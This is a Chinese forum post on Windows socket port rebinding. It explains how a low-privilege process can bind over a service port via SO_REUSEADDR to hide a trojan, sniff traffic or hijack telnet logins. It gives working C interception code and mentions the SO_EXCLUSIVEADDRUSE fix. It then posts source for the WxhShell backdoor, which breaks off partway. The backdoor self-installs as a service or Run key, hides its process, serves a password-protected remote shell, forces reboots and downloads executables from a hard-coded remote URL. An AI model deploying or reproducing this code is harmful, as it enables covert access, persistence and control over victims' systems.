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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vD*9b.*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v&i,}p^M5  
B '"RKs]  
  saddr.sin_family = AF_INET; L 2:N@TP  
=/jCDY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9F^rXY.  
e+=P)Zp/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4(FEfde=  
IrZ!.5%tV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #+,O  
Y"&1jud4xl  
  这意味着什么?意味着可以进行如下的攻击: 7v^V]&&s  
KDzTe9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Lu@'Ee!>G  
'6&a8&:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J(JqusQd !  
Y]R;>E5o|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hkck=@>8H*  
[C"[#7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !{, `h<  
%[9d1F 3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PLmf.hD\  
~Uz1()ftz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _;1H2o2f  
xYGB{g]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T8ftBIOi  
qrtA'fU  
  #include 4pfv?!Oj  
  #include ~3u'=u9l  
  #include }L1 -2  
  #include    &CEZ+\bA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,`ZIW  
  int main() sZ!/uN!6  
  { psHW(Z8G  
  WORD wVersionRequested; (\=iKE4#  
  DWORD ret; 5#SD$^  
  WSADATA wsaData; },G>+ s8h  
  BOOL val; >pV|c\  
  SOCKADDR_IN saddr; j5yxdjx9  
  SOCKADDR_IN scaddr; `V1D &}H+G  
  int err; ^l(Kj3gM  
  SOCKET s; Alsr6uLT1  
  SOCKET sc; rz @;Zn  
  int caddsize; mar BVFz~  
  HANDLE mt; zu~E}  
  DWORD tid;   6H\apgHm  
  wVersionRequested = MAKEWORD( 2, 2 ); OEN!~-u  
  err = WSAStartup( wVersionRequested, &wsaData ); c8'! >#$  
  if ( err != 0 ) { -m.SN>V  
  printf("error!WSAStartup failed!\n"); AJ*FQo.U  
  return -1; ,`3kDqS_4  
  } xgi/,Nk '  
  saddr.sin_family = AF_INET; `6.rTs $<  
   HktvUJ(Ii  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x[,HK{U|t  
1Ue;hu'q:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A{ :PpYs  
  saddr.sin_port = htons(23); <L1;aNN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `~bnshUk  
  { @} 61D  
  printf("error!socket failed!\n"); xt%-<%s%f  
  return -1; L %[om c?  
  } 39w|2%(O.  
  val = TRUE; J1?)z+t9~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i9NUv3#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8}& O7zO?  
  { S9$*w!W  
  printf("error!setsockopt failed!\n"); f\ wP}c'  
  return -1; n6PXPc  
  } Wn(pz)+Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _7AR2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &gn^i!%Z)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }4!R2c  
6w d0"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '\ $2+*  
  { A{5^A)$  
  ret=GetLastError(); p?mQ\O8F  
  printf("error!bind failed!\n"); ZYy,gu<  
  return -1; -/>SdR$D7  
  } =AhXEu^  
  listen(s,2); N{}XHA  
  while(1) &TmN^R>  
  { )F\tU  
  caddsize = sizeof(scaddr);  [>IAS>  
  //接受连接请求 TNA?fm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?N 6'*2{NT  
  if(sc!=INVALID_SOCKET) H1]An'qz,  
  { -.8 nEO3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *CHLs^)   
  if(mt==NULL) l .8@F  
  { 9'tElpDJ6#  
  printf("Thread Creat Failed!\n"); a&6e~E$K2  
  break; Tl.dr   
  } [xF(t @p  
  } Y<'T;@  
  CloseHandle(mt); _;] 3w  
  } `u%`N j  
  closesocket(s); oT5 N_\  
  WSACleanup(); nu1s  
  return 0; WUQlAsme  
  }   !ejLqb  
  DWORD WINAPI ClientThread(LPVOID lpParam) >tfy\PY:  
  { "r6DZi(^K  
  SOCKET ss = (SOCKET)lpParam; 1m*fkM#  
  SOCKET sc; ;VY0DAp{  
  unsigned char buf[4096]; uyt]\zVT  
  SOCKADDR_IN saddr; B'( /W@  
  long num; S]kY'(V(*  
  DWORD val; [b-wak})aD  
  DWORD ret; sb"etc`w%-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VCzmTnD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i%m]<yElm  
  saddr.sin_family = AF_INET; Ax*=kZmH|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #&JhA2]q  
  saddr.sin_port = htons(23); l6^IX0&p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Byx8`Cx1  
  { q*,g  
  printf("error!socket failed!\n"); 39jnoT  
  return -1; 7^}np^[HB  
  } =-XI)JV#  
  val = 100; otQulL)T/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  `Pa)H  
  { ai7*</ls  
  ret = GetLastError(); cO9aT  
  return -1; ]?n)!u  
  } ;Kq/[$~0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,G,'#]  
  { YGRv``(  
  ret = GetLastError(); M=Y}w?  
  return -1; tDF=Iqu)a  
  } 6%/@b`vZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l+e L:C!  
  { ykY#Y}?^  
  printf("error!socket connect failed!\n"); AS;EO[Vn  
  closesocket(sc); bo]xah|."j  
  closesocket(ss);  >'>onAIL  
  return -1; NdpcfZ q  
  } 7Sc._G{[%  
  while(1) q8U*  
  { 5,3Yt~\m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 so~vnSQ!x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f9A^0A?c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *\9JIi 2  
  num = recv(ss,buf,4096,0); 8Vcg30_+  
  if(num>0) 7M~w05tPh  
  send(sc,buf,num,0); s bf\;_!  
  else if(num==0) 1 J3h_z6/  
  break; K8,fw-S%  
  num = recv(sc,buf,4096,0); k5]M~"  
  if(num>0) 4a'GWzUtS  
  send(ss,buf,num,0); xHs8']*\  
  else if(num==0) }O+F#/6  
  break;  EAVB:gE  
  } dl:uI5]  
  closesocket(ss); R)s@2S  
  closesocket(sc); PCxv_Svf  
  return 0 ; 8mM^wT  
  } %_*q'6K  
=c{ / Z  
;Drt4fOxX  
========================================================== "xS?#^a  
ifA{E}fRZP  
下边附上一个代码,,WXhSHELL SKx&t-  
?eUhHKS5  
========================================================== P{ AJH1  
a?]Ow J  
#include "stdafx.h" OidF{I*O  
K1S)S8.EZ8  
#include <stdio.h> S|U/m m  
#include <string.h> ]YF[W`2h  
#include <windows.h> BdHLow  
#include <winsock2.h> y}NBJ  
#include <winsvc.h> `'BvUTDyZ  
#include <urlmon.h> }gY:VDW  
KF' $D:\  
#pragma comment (lib, "Ws2_32.lib") QO;W}c:N  
#pragma comment (lib, "urlmon.lib") mz\d>0F U.  
+we3BE.  
#define MAX_USER   100 // 最大客户端连接数 h(aF>a\Z  
#define BUF_SOCK   200 // sock buffer Q_<CG[,6D1  
#define KEY_BUFF   255 // 输入 buffer l@-J&qG  
ZU%7m_zO  
#define REBOOT     0   // 重启 u@v0I$  
#define SHUTDOWN   1   // 关机 E}S)uI,gn  
/6_>d $  
#define DEF_PORT   5000 // 监听端口 O9>& E;`5  
sWp]Zy  
#define REG_LEN     16   // 注册表键长度 Xz`?b4i  
#define SVC_LEN     80   // NT服务名长度 $j(2M?.>#  
B|#*I[4`w@  
// 从dll定义API KD]8n]c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {9wBb`.n^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !QoOL<(){  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =k]RzeI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _aOisN{  
0w?\KHT  
// wxhshell配置信息 ^J0*]k%   
struct WSCFG { a}l^+  
  int ws_port;         // 监听端口 Y$8 >fv  
  char ws_passstr[REG_LEN]; // 口令 KL]@y!QU  
  int ws_autoins;       // 安装标记, 1=yes 0=no "y@B|  
  char ws_regname[REG_LEN]; // 注册表键名 W2Y%PD9a  
  char ws_svcname[REG_LEN]; // 服务名 SJhcmx+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &E.ckWf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FilHpnQCt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yv!%Is  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lc;4 Hg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~fLuys`*:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  ol^J-  
@;m7u  
}; wkm;yCF+  
.{as"h-.O  
// default Wxhshell configuration xcO Si>  
struct WSCFG wscfg={DEF_PORT,  ajF-T=5  
    "xuhuanlingzhe", r=[T5,L(s  
    1, mjUln8Jc  
    "Wxhshell", l v]TE"  
    "Wxhshell", ES72yh]  
            "WxhShell Service", OgjSyzc  
    "Wrsky Windows CmdShell Service", X 10(oT  
    "Please Input Your Password: ", @ ]u nqCO  
  1, wowv>!N!X-  
  "http://www.wrsky.com/wxhshell.exe", =}5;rK  
  "Wxhshell.exe" Y85M$]e,  
    }; -AcLh0pc  
j!9p#JK#u  
// 消息定义模块 omQa N#!,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HgJ:Rf]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (i4=}Kn2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l@ vaupg  
char *msg_ws_ext="\n\rExit."; a[iuE`  
char *msg_ws_end="\n\rQuit."; VH1PC  
char *msg_ws_boot="\n\rReboot..."; 5I9~OJ>  
char *msg_ws_poff="\n\rShutdown..."; BE/#=$wPjM  
char *msg_ws_down="\n\rSave to "; B:dk>$>uQ  
1ipfv-hb6  
char *msg_ws_err="\n\rErr!"; \"BoTi'2!  
char *msg_ws_ok="\n\rOK!"; a]^hcKo4  
Z+h^ ie"g  
char ExeFile[MAX_PATH]; Gqvnc8V&  
int nUser = 0; +grIw# j  
HANDLE handles[MAX_USER]; i{zg{$U  
int OsIsNt; ~`M>&E@Y_/  
"X~ayn'@w,  
SERVICE_STATUS       serviceStatus; N|pjGgI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %O-RhB4q  
=)}m4,LA  
// 函数声明 "5*n(S{ks  
int Install(void); 8%OS ,Z  
int Uninstall(void); 9B &QY 2v  
int DownloadFile(char *sURL, SOCKET wsh); 6v7H?4  
int Boot(int flag); Cw1Jl5OVZ  
void HideProc(void); }Th":sin},  
int GetOsVer(void); 1(6B|w5+  
int Wxhshell(SOCKET wsl); VP^Yph 8R  
void TalkWithClient(void *cs); ]37k\O?vd  
int CmdShell(SOCKET sock); J~7E8  
int StartFromService(void); '^pA%I2D  
int StartWxhshell(LPSTR lpCmdLine); C 9IKX  
yGl (QLk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;!U`GN,tH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fRKO> /OT  
 qGG  
// 数据结构和表定义 1;E[Ml  
SERVICE_TABLE_ENTRY DispatchTable[] = Qp8. D4^@3  
{ ct='Z E  
{wscfg.ws_svcname, NTServiceMain}, 3\FPW1$i|[  
{NULL, NULL} ]Hk8XT@Q+  
}; m[&]#K6  
9hG)9X4  
// 自我安装 ;} ),6R  
int Install(void) |@pJ]  
{ Kl.xe&t@j  
  char svExeFile[MAX_PATH]; 0JTDJZOz@#  
  HKEY key; xzF@v>2S+  
  strcpy(svExeFile,ExeFile); )2T?Z)"hO  
hU=n>g>nx  
// 如果是win9x系统,修改注册表设为自启动 v|acKux=t  
if(!OsIsNt) { lV!ecJw$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XE);oL2xP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z:f[<`,GT  
  RegCloseKey(key); :@KU_U)\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R?3^Kx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zp[Uh]-dMK  
  RegCloseKey(key); '9cShe  
  return 0; tj 6 #lM9  
    } lVY`^pw?  
  } 5`,qKJ  
} $7~ k#_#PC  
else { *44^M{ti<  
b,kXV<KtU  
// 如果是NT以上系统,安装为系统服务 kSGFLP1FN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )M(;:#le  
if (schSCManager!=0) ]CyWL6 z  
{ \y?Vou/  
  SC_HANDLE schService = CreateService |T7 < !  
  ( gaBt;@?:Q  
  schSCManager, $h1`-=\7  
  wscfg.ws_svcname, # JHicx\8l  
  wscfg.ws_svcdisp, }.O,P'k  
  SERVICE_ALL_ACCESS, 9`4mvK/@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O~yPe.  
  SERVICE_AUTO_START, JmB7tRM8  
  SERVICE_ERROR_NORMAL, 9?<WRM3a>  
  svExeFile, ;taTdzR_  
  NULL, YCod\}3  
  NULL, ~PYMtg=i  
  NULL, vU&I,:72 H  
  NULL, 2Jo'!|]  
  NULL D?~`L[}I!}  
  ); VS0 &[bl  
  if (schService!=0) 4Z>KrFO  
  { *BzqAi0  
  CloseServiceHandle(schService); d dB}mk6  
  CloseServiceHandle(schSCManager); )s^D}I(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EjLj5Z/q  
  strcat(svExeFile,wscfg.ws_svcname); zs!,PQF(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SSO F\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \{  
  RegCloseKey(key); ;&4}hPq  
  return 0; 6 J[ {?,  
    } (+}H ih  
  } !mhV$2&r  
  CloseServiceHandle(schSCManager); ,Cx @]]  
} c!l=09a~a+  
} ]5W|^%  
$ )q?z.U  
return 1; rn3GBWC_C  
} rvjPm5[t  
9^ITP!~e*  
// 自我卸载 t-_~jZ<  
int Uninstall(void) 0~{jgN~  
{ 3u+A/  
  HKEY key; `tKrTq>  
@R% n &  
if(!OsIsNt) { vd`;(4i#X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GUyMo@g  
  RegDeleteValue(key,wscfg.ws_regname); x]o~ %h$  
  RegCloseKey(key); yT<6b)&*&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KS%LXc('  
  RegDeleteValue(key,wscfg.ws_regname); Y?G9d6]Lk6  
  RegCloseKey(key); _E0XUT!rA  
  return 0; ?,8|K B  
  } .Bxv|dji  
} /KD KA)  
} V'TBt=!=]  
else { (ZR+(+i,  
\FOoIY!.x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K(P24Z\#  
if (schSCManager!=0) fWo}gH~  
{ 297X).  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ax &Z=  
  if (schService!=0) j} ^?3<  
  { e7X#C)  
  if(DeleteService(schService)!=0) { ,S(^r1R   
  CloseServiceHandle(schService); eZpyDw C{  
  CloseServiceHandle(schSCManager); OxGKtnAjf  
  return 0; F)dJws7-  
  } bHx09F]  
  CloseServiceHandle(schService); r}>8FE9S'H  
  } )EQWc0iKG  
  CloseServiceHandle(schSCManager); k=D_9_  
} &&Ruy(&]I  
} KLVkPix;$  
R5PXX&Q  
return 1; t[$C r;  
} $80 TRB#  
8w-2Q  
// 从指定url下载文件 c:QZ(8d]L  
int DownloadFile(char *sURL, SOCKET wsh) D; xRgHn  
{ N]gJ( g  
  HRESULT hr; hgt@Mb   
char seps[]= "/"; /SDN7M]m!  
char *token; -Zs.4@GH  
char *file; Q+L;k R  
char myURL[MAX_PATH]; "9W] TG  
char myFILE[MAX_PATH]; PvW {g5)S  
\*] l'>x1  
strcpy(myURL,sURL); FvX<(8'#a  
  token=strtok(myURL,seps); CG@3z@*?.  
  while(token!=NULL) BPgY_f  
  { 45g:q  
    file=token; !h\.w9o[  
  token=strtok(NULL,seps); b EB3 #uc  
  } kw,eTB<;R  
VRe7Q0  
GetCurrentDirectory(MAX_PATH,myFILE); FDfLPCQm  
strcat(myFILE, "\\");  6/u]r  
strcat(myFILE, file); SrlTwcD  
  send(wsh,myFILE,strlen(myFILE),0); &>Zm gz  
send(wsh,"...",3,0); 1< gY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C(N' +VV_  
  if(hr==S_OK) 04;E^,V  
return 0; 4yOYw*X  
else S$O+p&!X  
return 1; l|WdJn o  
m/ D ~D~  
} Ltv!;^Q5  
3y#0Lb-y  
// 系统电源模块 T!![7Rs  
int Boot(int flag) c~1+5&  
{ 0PfjD  
  HANDLE hToken; B49: R >  
  TOKEN_PRIVILEGES tkp; 6-"@j@l5<  
T'VZ=l[  
  if(OsIsNt) { &6 ymGo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n1yIQ8F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dn x` !  
    tkp.PrivilegeCount = 1; ?w^MnK0U)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c? Z M<Y"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A kMP)\Q  
if(flag==REBOOT) { }57s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,"6Bw|s  
  return 0; ^/'zU,  
} 1 8*M  
else { *dmB Ji}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SX/ E@vYb  
  return 0; Sj=x.Tr\  
} g|STegg  
  } sd5%Szx  
  else { ??Lda='  
if(flag==REBOOT) { E;`@S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) exW|c~|m{A  
  return 0; >:C0ZQUW  
} $<NrJgQ  
else { kZb #k#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) asEk 3  
  return 0; w.7p D  
} 9w)W|9  
} oz.#+t%X$b  
#uRj9|E7  
return 1;  _'Jz+f.  
} L0lqm0h  
( *&E~ g  
// win9x进程隐藏模块 RpmOg  
void HideProc(void) &\Ze<u  
{ ]Rk4"i  
` x|=vu-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;?h+8Z/{  
  if ( hKernel != NULL ) K*!qt(D&  
  { #gq!L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p<Oz"6_/~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S4ys)!V1V  
    FreeLibrary(hKernel); T]_]{%z  
  } "26=@Q^Y  
R$|"eb5  
return; 5&C:&=Y  
} m%ec=%L9  
" ""k}M2A  
// 获取操作系统版本 twWzS 4;  
int GetOsVer(void) * :kMv;9  
{ EvP\;7B  
  OSVERSIONINFO winfo; !VDNqW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -P6Z[ V%  
  GetVersionEx(&winfo); ;2y4^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =&K8~   
  return 1; aP ToP.e  
  else f>CJ1 ;][{  
  return 0; ;% <[*T:*'  
} K[q{)>,9  
|tr^ `Z  
// 客户端句柄模块 ;:PxWm|_  
int Wxhshell(SOCKET wsl) Of}dsav   
{ mu*RXLai  
  SOCKET wsh; ljP<WD  
  struct sockaddr_in client; B?nw([4m  
  DWORD myID; Fp&tJ]=B.  
UdOO+Z_K%  
  while(nUser<MAX_USER) >vPv 4e7&3  
{ Ee3 -oHa  
  int nSize=sizeof(client); ,{C hHnJ%#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <B&vfKO^h  
  if(wsh==INVALID_SOCKET) return 1; Nsf>b8O  
~K/_51O'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J?9n4 u  
if(handles[nUser]==0) (Q?@LzCjy  
  closesocket(wsh); y*#YIS56I  
else 71+ bn  
  nUser++; |!q,J  
  } elGwS\sw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -=W Qed}  
s-801JpiJ  
  return 0; kBeYl+*pk  
} Y@y"bjK \  
/(u# D[  
// 关闭 socket k>)Uyw$!  
void CloseIt(SOCKET wsh) ;XIDu6  
{ IZ_?1%q>}  
closesocket(wsh); O))YJh"'_  
nUser--; #&}j'oD|N  
ExitThread(0); XW.k%H4@  
} Nu;?})tF  
HcQ)XJPK  
// 客户端请求句柄 QJy1j~9x  
void TalkWithClient(void *cs) 2,6~;R  
{ 0N87G}Xu  
mUNAA[0 L  
  SOCKET wsh=(SOCKET)cs; XI+GWNAmJ  
  char pwd[SVC_LEN]; Y#t9DhzFWo  
  char cmd[KEY_BUFF]; X#>:9  
char chr[1]; C %i{{Y&l  
int i,j; >{)\GK0i 7  
o1Krp '*  
  while (nUser < MAX_USER) { z2lT4SAv+  
Ea)=K'Pz  
if(wscfg.ws_passstr) { 7J ;\&q'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /|p\l"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5gSe=|we*p  
  //ZeroMemory(pwd,KEY_BUFF); YU`}T<;bg  
      i=0; 7 <ZGNxZ~  
  while(i<SVC_LEN) { gHtflS  
f hjlt#  
  // 设置超时 H+ 7HD|GE  
  fd_set FdRead; tIT/HG_o  
  struct timeval TimeOut; d=0{vsrB  
  FD_ZERO(&FdRead); 8'ut[  
  FD_SET(wsh,&FdRead); jf.WmiDC  
  TimeOut.tv_sec=8; $|tk?Sps  
  TimeOut.tv_usec=0; rI OKCL?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2f0mr?l)N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jmG)p|6  
}` YtXD-o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R; ui 4wg6  
  pwd=chr[0]; 7~~suQ{F4  
  if(chr[0]==0xd || chr[0]==0xa) { }X6w"  
  pwd=0; ]$BC f4:  
  break; Nwo*tb:  
  } P(.XB`  
  i++; ;@*<M\O  
    } {%\@Z-9%q,  
*nK4XgD  
  // 如果是非法用户,关闭 socket lA` qB1x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d`,z4 _  
} l{gR6U{e  
Kk,u{EA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R=3|(R+kA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +K s3  
"rrw~  
while(1) { vm7ag 7@O  
Rk-G| 52g  
  ZeroMemory(cmd,KEY_BUFF); bcUSjG>  
o:B?hr'\  
      // 自动支持客户端 telnet标准   &]tm 'N25  
  j=0; 3+\Zom4  
  while(j<KEY_BUFF) { r PTfwhs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Xh5N3  
  cmd[j]=chr[0]; 0 ;].q*|#  
  if(chr[0]==0xa || chr[0]==0xd) { <MKX F V  
  cmd[j]=0; !+z&] S3s  
  break; D~FIv  
  } Y>T<Qn^D  
  j++; ::_bEmk  
    } J/QqwoR  
2tg07  
  // 下载文件 QnJLTBv  
  if(strstr(cmd,"http://")) { kRr/x-"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eE_$ADEf  
  if(DownloadFile(cmd,wsh)) ->*~e~T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]T{v~]7:{  
  else v cUGBGX_&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = c1>ja  
  } 2*< PmKI  
  else { dV{mmHL  
E5 #ff5  
    switch(cmd[0]) { \<hHZS  
  +4p=a [  
  // 帮助 ,|Gjr T{vf  
  case '?': { 4s9.")G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); If]rg+|U  
    break; /'zXb_R,$  
  } "sIww  
  // 安装 wwet90_g  
  case 'i': { gi>W&6  
    if(Install()) 0e07pF/!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3ZN\F  
    else ]9~Il#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P+y XC^ ,  
    break; \mTi@T!&  
    }  7|yEf  
  // 卸载 BnfuI  
  case 'r': { %O!TS_~9  
    if(Uninstall()) kT]jJbb"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]0O3kiVQ  
    else Q{5.;{/eC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RUq[HxF) 6  
    break; K%_UNivN  
    } .2U3_1dX  
  // 显示 wxhshell 所在路径 =7#"}%4Q  
  case 'p': { '(SivD  
    char svExeFile[MAX_PATH]; yeMe2Zx  
    strcpy(svExeFile,"\n\r"); cml~Oepf  
      strcat(svExeFile,ExeFile); ei>iXDt  
        send(wsh,svExeFile,strlen(svExeFile),0); L& rtN@5;  
    break; DAg*  
    } orYZ<,u  
  // 重启 ;at1|E*  
  case 'b': { o bN8+ j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wsp c ;]&  
    if(Boot(REBOOT)) ;" D~F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +6}CNC9Mp  
    else { >|`1aCg,  
    closesocket(wsh); :P ]D`b6p  
    ExitThread(0); H}lz_#Z  
    } $BT[fJ'k  
    break; GIT"J}b}  
    } HO_(it \  
  // 关机 ?Q$a@)x#  
  case 'd': { Q/]o'_[vW  
